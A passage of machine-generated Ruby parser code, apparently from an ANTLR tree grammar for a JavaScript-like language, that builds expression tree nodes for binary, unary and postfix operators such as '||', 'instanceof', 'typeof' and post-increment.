@adaptor.become_root( tree_for_string_literal143, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_985 )\n expression144 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression144.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_987 )\n expression145 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression145.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 14\n root_0 = @adaptor.create_flat_list\n\n\n # at line 163:5: ^( '|=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal146 = match( PIPE_ASGN, TOKENS_FOLLOWING_PIPE_ASGN_IN_expression_997 )\n\n tree_for_string_literal146 = @adaptor.copy_node( string_literal146 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal146, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_999 )\n expression147 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression147.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1001 )\n expression148 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression148.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 15\n root_0 = @adaptor.create_flat_list\n\n\n # at line 164:5: ^( '|' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal149 = match( PIPE, TOKENS_FOLLOWING_PIPE_IN_expression_1011 )\n\n tree_for_char_literal149 = @adaptor.copy_node( char_literal149 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal149, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1013 )\n expression150 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression150.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1015 )\n expression151 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression151.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 16\n root_0 = @adaptor.create_flat_list\n\n\n # at line 165:5: ^( '||' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal152 = match( OR, TOKENS_FOLLOWING_OR_IN_expression_1025 )\n\n tree_for_string_literal152 = @adaptor.copy_node( string_literal152 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal152, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1027 )\n expression153 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression153.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1029 )\n expression154 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression154.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 17\n root_0 = @adaptor.create_flat_list\n\n\n # at line 166:5: ^( '&' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal155 = match( AMP, TOKENS_FOLLOWING_AMP_IN_expression_1039 )\n\n tree_for_char_literal155 = @adaptor.copy_node( char_literal155 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal155, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1041 )\n expression156 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression156.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1043 )\n expression157 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression157.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 18\n root_0 = @adaptor.create_flat_list\n\n\n # at line 167:5: ^( '^' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal158 = match( HAT, TOKENS_FOLLOWING_HAT_IN_expression_1053 )\n\n tree_for_char_literal158 = @adaptor.copy_node( char_literal158 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal158, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1055 )\n expression159 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression159.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1057 )\n expression160 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression160.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 19\n root_0 = @adaptor.create_flat_list\n\n\n # at line 168:5: ^( '>>' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal161 = match( RSHIFT, TOKENS_FOLLOWING_RSHIFT_IN_expression_1067 )\n\n tree_for_string_literal161 = @adaptor.copy_node( string_literal161 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal161, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1069 )\n expression162 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression162.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1071 )\n expression163 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression163.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 20\n root_0 = @adaptor.create_flat_list\n\n\n # at line 169:5: ^( '<<' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal164 = match( LSHIFT, TOKENS_FOLLOWING_LSHIFT_IN_expression_1081 )\n\n tree_for_string_literal164 = @adaptor.copy_node( string_literal164 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal164, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1083 )\n expression165 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression165.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1085 )\n expression166 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression166.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 21\n root_0 = @adaptor.create_flat_list\n\n\n # at line 170:5: ^( '>>>' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal167 = match( RSHIFT3, TOKENS_FOLLOWING_RSHIFT3_IN_expression_1095 )\n\n tree_for_string_literal167 = @adaptor.copy_node( string_literal167 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal167, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1097 )\n expression168 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression168.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1099 )\n expression169 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression169.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 22\n root_0 = @adaptor.create_flat_list\n\n\n # at line 171:5: ^( '-' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal170 = match( MINUS, TOKENS_FOLLOWING_MINUS_IN_expression_1109 )\n\n tree_for_char_literal170 = @adaptor.copy_node( char_literal170 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal170, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1111 )\n expression171 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression171.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1113 )\n expression172 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression172.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 23\n root_0 = @adaptor.create_flat_list\n\n\n # at line 172:5: ^( '+' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal173 = match( PLUS, TOKENS_FOLLOWING_PLUS_IN_expression_1123 )\n\n tree_for_char_literal173 = @adaptor.copy_node( char_literal173 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal173, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1125 )\n expression174 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression174.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1127 )\n expression175 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression175.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 24\n root_0 = @adaptor.create_flat_list\n\n\n # at line 173:5: ^( MOD expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __MOD176__ = match( MOD, TOKENS_FOLLOWING_MOD_IN_expression_1137 )\n\n tree_for_MOD176 = @adaptor.copy_node( __MOD176__ )\n\n root_1 = @adaptor.become_root( tree_for_MOD176, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1139 )\n expression177 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression177.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1141 )\n expression178 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression178.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 25\n root_0 = @adaptor.create_flat_list\n\n\n # at line 174:5: ^( SLASH expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __SLASH179__ = match( SLASH, TOKENS_FOLLOWING_SLASH_IN_expression_1151 )\n\n tree_for_SLASH179 = @adaptor.copy_node( __SLASH179__ )\n\n root_1 = @adaptor.become_root( tree_for_SLASH179, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1153 )\n expression180 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression180.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1155 )\n expression181 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression181.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 26\n root_0 = @adaptor.create_flat_list\n\n\n # at line 175:5: ^( '*' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal182 = match( STAR, TOKENS_FOLLOWING_STAR_IN_expression_1165 )\n\n tree_for_char_literal182 = @adaptor.copy_node( char_literal182 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal182, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1167 )\n expression183 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression183.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1169 )\n expression184 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression184.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 27\n root_0 = @adaptor.create_flat_list\n\n\n # at line 176:5: ^( '==' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal185 = match( EQ, TOKENS_FOLLOWING_EQ_IN_expression_1179 )\n\n tree_for_string_literal185 = @adaptor.copy_node( string_literal185 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal185, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1181 )\n expression186 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression186.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1183 )\n expression187 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression187.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 28\n root_0 = @adaptor.create_flat_list\n\n\n # at line 177:5: ^( '===' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal188 = match( EQQ, TOKENS_FOLLOWING_EQQ_IN_expression_1193 )\n\n tree_for_string_literal188 = @adaptor.copy_node( string_literal188 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal188, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1195 )\n expression189 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression189.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1197 )\n expression190 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression190.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 29\n root_0 = @adaptor.create_flat_list\n\n\n # at line 178:5: ^( '!=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal191 = match( NEQ, TOKENS_FOLLOWING_NEQ_IN_expression_1207 )\n\n tree_for_string_literal191 = @adaptor.copy_node( string_literal191 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal191, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1209 )\n expression192 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression192.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1211 )\n expression193 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression193.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 30\n root_0 = @adaptor.create_flat_list\n\n\n # at line 179:5: ^( '!==' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal194 = match( NEQQ, TOKENS_FOLLOWING_NEQQ_IN_expression_1221 )\n\n tree_for_string_literal194 = @adaptor.copy_node( string_literal194 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal194, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1223 )\n expression195 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression195.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1225 )\n expression196 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression196.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 31\n root_0 = @adaptor.create_flat_list\n\n\n # at line 180:5: ^( '>=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal197 = match( GEQ, TOKENS_FOLLOWING_GEQ_IN_expression_1235 )\n\n tree_for_string_literal197 = @adaptor.copy_node( string_literal197 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal197, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1237 )\n expression198 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression198.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1239 )\n expression199 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression199.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 32\n root_0 = @adaptor.create_flat_list\n\n\n # at line 181:5: ^( '<=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal200 = match( LEQ, TOKENS_FOLLOWING_LEQ_IN_expression_1249 )\n\n tree_for_string_literal200 = @adaptor.copy_node( string_literal200 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal200, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1251 )\n expression201 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression201.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1253 )\n expression202 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression202.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 33\n root_0 = @adaptor.create_flat_list\n\n\n # at line 182:5: ^( '>' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal203 = match( GREATER, TOKENS_FOLLOWING_GREATER_IN_expression_1263 )\n\n tree_for_char_literal203 = @adaptor.copy_node( char_literal203 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal203, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1265 )\n expression204 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression204.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1267 )\n expression205 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression205.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 34\n root_0 = @adaptor.create_flat_list\n\n\n # at line 183:5: ^( '<' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal206 = match( LESS, TOKENS_FOLLOWING_LESS_IN_expression_1277 )\n\n tree_for_char_literal206 = @adaptor.copy_node( char_literal206 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal206, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1279 )\n expression207 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression207.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1281 )\n expression208 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression208.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 35\n root_0 = @adaptor.create_flat_list\n\n\n # at line 184:5: ^( 'instanceof' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal209 = match( INSTANCEOF, TOKENS_FOLLOWING_INSTANCEOF_IN_expression_1291 )\n\n tree_for_string_literal209 = @adaptor.copy_node( string_literal209 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal209, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1293 )\n expression210 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression210.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1295 )\n expression211 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression211.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 36\n root_0 = @adaptor.create_flat_list\n\n\n # at line 185:5: ^( 'in' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal212 = match( IN, TOKENS_FOLLOWING_IN_IN_expression_1305 )\n\n tree_for_string_literal212 = @adaptor.copy_node( string_literal212 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal212, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1307 )\n expression213 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression213.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1309 )\n expression214 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression214.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 37\n root_0 = @adaptor.create_flat_list\n\n\n # at line 186:5: ^( 'delete' expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal215 = match( DELETE, TOKENS_FOLLOWING_DELETE_IN_expression_1319 )\n\n tree_for_string_literal215 = @adaptor.copy_node( string_literal215 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal215, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1321 )\n expression216 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression216.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 38\n root_0 = @adaptor.create_flat_list\n\n\n # at line 187:5: ^( 'void' expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal217 = match( VOID, TOKENS_FOLLOWING_VOID_IN_expression_1331 )\n\n tree_for_string_literal217 = @adaptor.copy_node( string_literal217 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal217, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1333 )\n expression218 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression218.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 39\n root_0 = @adaptor.create_flat_list\n\n\n # at line 188:5: ^( 'typeof' expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal219 = match( TYPEOF, TOKENS_FOLLOWING_TYPEOF_IN_expression_1343 )\n\n tree_for_string_literal219 = @adaptor.copy_node( string_literal219 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal219, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1345 )\n expression220 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression220.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 40\n root_0 = @adaptor.create_flat_list\n\n\n # at line 189:5: ^( '++' expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal221 = match( INCR, TOKENS_FOLLOWING_INCR_IN_expression_1355 )\n\n tree_for_string_literal221 = @adaptor.copy_node( string_literal221 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal221, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1357 )\n expression222 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression222.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 41\n root_0 = @adaptor.create_flat_list\n\n\n # at line 190:5: ^( '--' expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal223 = match( DECR, TOKENS_FOLLOWING_DECR_IN_expression_1367 )\n\n tree_for_string_literal223 = @adaptor.copy_node( string_literal223 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal223, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1369 )\n expression224 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression224.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 42\n root_0 = @adaptor.create_flat_list\n\n\n # at line 191:5: ^( UPLUS expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __UPLUS225__ = match( UPLUS, TOKENS_FOLLOWING_UPLUS_IN_expression_1379 )\n\n tree_for_UPLUS225 = @adaptor.copy_node( __UPLUS225__ )\n\n root_1 = @adaptor.become_root( tree_for_UPLUS225, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1381 )\n expression226 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression226.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 43\n root_0 = @adaptor.create_flat_list\n\n\n # at line 192:5: ^( UMINUS expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __UMINUS227__ = match( UMINUS, TOKENS_FOLLOWING_UMINUS_IN_expression_1391 )\n\n tree_for_UMINUS227 = @adaptor.copy_node( __UMINUS227__ )\n\n root_1 = @adaptor.become_root( tree_for_UMINUS227, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1393 )\n expression228 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression228.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 44\n root_0 = @adaptor.create_flat_list\n\n\n # at line 193:5: ^( '~' expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal229 = match( TILDE, TOKENS_FOLLOWING_TILDE_IN_expression_1403 )\n\n tree_for_char_literal229 = @adaptor.copy_node( char_literal229 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal229, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1405 )\n expression230 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression230.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 45\n root_0 = @adaptor.create_flat_list\n\n\n # at line 194:5: ^( '!' expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal231 = match( NOT, TOKENS_FOLLOWING_NOT_IN_expression_1415 )\n\n tree_for_char_literal231 = @adaptor.copy_node( char_literal231 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal231, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1417 )\n expression232 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression232.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 46\n root_0 = @adaptor.create_flat_list\n\n\n # at line 195:5: ^( POST_INCR expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __POST_INCR233__ = match( POST_INCR, TOKENS_FOLLOWING_POST_INCR_IN_expression_1427 )\n\n tree_for_POST_INCR233 = @adaptor.copy_node( __POST_INCR233__ )\n\n root_1 = @adaptor.become_root( tree_for_POST_INCR233, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1429 )\n expression234 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression234.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 47\n root_0 = @adaptor.create_flat_list\n\n\n # at line 196:5: ^( POST_DECR expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __POST_DECR235__ = match( POST_DECR, TOKENS_FOLLOWING_POST_DECR_IN_expression_1439 )\n\n tree_for_POST_DECR235 = @adaptor.copy_node( __POST_DECR235__ )\n\n root_1 = @adaptor.become_root( tree_for_POST_DECR235, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1441 )\n expression236 = expression\n 